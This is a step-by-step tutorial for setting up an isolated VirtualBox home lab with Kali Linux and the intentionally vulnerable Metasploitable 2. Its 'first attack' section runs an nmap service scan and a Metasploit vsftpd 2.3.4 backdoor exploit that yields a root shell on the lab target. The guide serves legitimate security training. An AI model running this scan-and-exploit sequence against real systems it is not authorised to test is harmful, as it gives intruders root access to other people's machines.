How to Set Up a Cybersecurity Home Lab (Free, Step by Step)

What You Will Build

A local isolated network with two VMs:

• Kali Linux — Your attacker machine (comes with Nmap, Metasploit, Wireshark, etc.)
• Metasploitable 2 — Intentionally vulnerable Linux target for practicing attacks legally

Both VMs connect via a Host-Only network (192.168.56.x). No traffic leaves your computer.

Step 1: Download Required Software

• VirtualBox — Free hypervisor (Windows/macOS/Linux)
• Kali Linux VirtualBox OVA — Pre-built, ready to import
• Metasploitable 2 — Vulnerable target VM

Step 2: VirtualBox Setup

# Install VirtualBox (Ubuntu/Debian)
sudo apt install virtualbox

# Import Kali OVA (or use the GUI: File → Import Appliance)
VBoxManage import kali-linux-2024.ova

# Import Metasploitable
VBoxManage import metasploitable2.ova

Step 3: Configure Host-Only Network

# Create a Host-Only network (or use GUI: VirtualBox → Preferences → Network)
VBoxManage hostonlyif add
# Default IP: 192.168.56.1 (your host machine)

# Set both VMs to use Host-Only Adapter:
# VM Settings → Network → Adapter 1 → Host-only Adapter

# Start VMs, then verify connectivity
# On Kali: ping 192.168.56.10   (Metasploitable IP)
# On Metasploitable: ping 192.168.56.1

Step 4: Your First Attack

# From Kali — scan Metasploitable
nmap -sV -sC 192.168.56.10

# You'll see many open services:
# 21/tcp  open  ftp      vsftpd 2.3.4  (backdoored!)
# 22/tcp  open  ssh
# 80/tcp  open  http     Apache 2.2.8
# 3306/tcp open  mysql
# 5432/tcp open  postgresql

# Exploit the vsftpd 2.3.4 backdoor with Metasploit:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.10
exploit
# You get a root shell!

# Verify with our online scanner (for external IPs only):
# https://zentriontechnologies.com/tools/port-scanner

More Free Vulnerable VMs

• VulnHub — 600+ vulnerable VMs, all free
• DVWA — Web app vulnerability practice
• TryHackMe — Browser-based, no VM needed
• Wireshark Home Lab — Network analysis exercises